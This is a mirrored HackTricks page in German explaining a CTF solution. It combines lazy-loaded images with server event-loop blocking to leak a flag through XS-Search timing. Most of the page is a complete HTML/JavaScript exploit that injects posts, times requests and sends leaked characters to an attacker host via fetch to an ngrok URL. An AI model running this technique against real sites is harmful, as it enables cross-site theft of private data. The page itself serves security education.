Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-11-23 05:03:35 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/pentesting-web/xs-search/event-loop-blocking-+-lazy-images.md
Translator workflow 6af5d4e1a0 Translated to German
2024-02-10 15:36:32 +00:00

7.5 KiB
Raw Blame History

Event Loop Blocking + Lazy Images

Lernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!

In diesem Exploit kombiniert @aszx87410 die Technik des Lazy Image Side Channel mit einer Art Event Loop Blocking Technique, um Zeichen zu leaken.

Dies ist ein anderer Exploit für die CTF-Challenge, über die bereits auf der folgenden Seite kommentiert wurde. Schauen Sie für weitere Informationen zur Challenge hier vorbei:

{% content-ref url="connection-pool-example.md" %} connection-pool-example.md {% endcontent-ref %}

Die Idee hinter diesem Exploit ist:

  • Die Beiträge werden alphabetisch geladen.
  • Ein Angreifer kann einen Beitrag mit einem "A" einschleusen, dann wird ein HTML-Tag (wie ein großer <canvas) den Großteil des Bildschirms ausfüllen und einige abschließende <img lazy-Tags zum Laden von Inhalten einfügen.
  • Wenn der Angreifer anstelle eines "A" denselben Beitrag einschleust, aber mit einem "z" beginnt, wird der Beitrag mit der Flagge zuerst angezeigt, dann erscheint der eingeschleuste Beitrag mit dem Anfangsbuchstaben "z" und dem großen Canvas. Da der Beitrag mit der Flagge zuerst erschien, wird das erste Canvas den gesamten Bildschirm einnehmen und die abschließenden <img lazy-Tags, die eingefügt wurden, werden nicht auf dem Bildschirm angezeigt und daher nicht geladen.
  • Während der Bot also auf die Seite zugreift, wird der Angreifer Fetch-Anfragen senden.
  • Wenn die in den Beitrag eingefügten Bilder geladen werden, dauern diese Fetch-Anfragen länger, sodass der Angreifer weiß, dass der Beitrag vor der Flagge (alphabetisch) steht.
  • Wenn die Fetch-Anfragen schnell sind, bedeutet dies, dass der Beitrag alphabetisch nach der Flagge steht.

Schauen wir uns den Code an:

<!DOCTYPE html>
<html>
<!--
The basic idea is to create a post with a lot of images which send request to "/" to block server-side nodejs event loop.
If images are loading, the request to "/" is slower, otherwise faster.
By using a well-crafted height, we can let note with "A" load image but note with "Z" not load.
We can use fetch to measure the request time.
-->
<body>
<button onclick="run()">start</button>

<!-- Inject post with payload -->
<form id=f action="http://localhost:1234/create" method="POST" target="_blank">
<input id=inp name="text" value="">
</form>

<!-- Remove index -->
<form id=f2 action="http://localhost:1234/remove" method="POST" target="_blank">
<input id=inp2 name="index" value="">
</form>

<script>
let flag = 'SEKAI{'
const TARGET = 'https://safelist.ctf.sekai.team'
f.action = TARGET + '/create'
f2.action = TARGET + '/remove'

const sleep = ms => new Promise(r => setTimeout(r, ms))
// Function to leak info to attacker
const send = data => fetch('http://server.ngrok.io?d='+data)
const charset = 'abcdefghijklmnopqrstuvwxyz'.split('')

// start exploit
let count = 0
setTimeout(async () => {
let L = 0
let R = charset.length - 1

// I have omited code here as apparently it wasn't necesary

// fallback to linerar since I am not familiar with binary search lol
for(let i=R; i>=L; i--) {
let c = charset[i]
send('try_' + flag + c)
const found = await testChar(flag + c)
if (found) {
send('found: '+ flag+c)
flag += c
break
}
}

}, 0)

async function testChar(str) {
return new Promise(resolve => {
/*
For 3350, you need to test it on your local to get this number.
The basic idea is, if your post starts with "Z", the image should not be loaded because it's under lazy loading threshold
If starts with "A", the image should be loaded because it's in the threshold.
*/
// <canvas height="3350px"> is experimental and allow to show the injected
// images when the post injected is the first one but to hide them when
// the injected post is after the post with the flag
inp.value = str + '<br><canvas height="3350px"></canvas><br>'+Array.from({length:20}).map((_,i)=>`<img loading=lazy src=/?${i}>`).join('')
f.submit()

setTimeout(() => {
run(str, resolve)
}, 500)
})
}

async function run(str, resolve) {
// Open posts page 5 times
for(let i=1; i<=5;i++) {
window.open(TARGET)
}

let t = 0
const round = 30 //Lets time 30 requests
setTimeout(async () => {
// Send 30 requests and time each
for(let i=0; i<round; i++) {
let s = performance.now()
await fetch(TARGET + '/?test', {
mode: 'no-cors'
}).catch(err=>1)
let end = performance.now()
t += end - s
console.log(end - s)
}
const avg = t/round
// Send info about how much time it took
send(str + "," + t + "," + "avg:" + avg)

/*
I get this threshold(1000ms) by trying multiple times on remote admin bot
for example, A takes 1500ms, Z takes 700ms, so I choose 1000 ms as a threshold
*/
const isFound = (t >= 1000)
if (isFound) {
inp2.value = "0"
} else {
inp2.value = "1"
}

// remember to delete the post to not break our leak oracle
f2.submit()
setTimeout(() => {
resolve(isFound)
}, 200)
}, 200)
}

</script>
</body>
</html>
Lernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!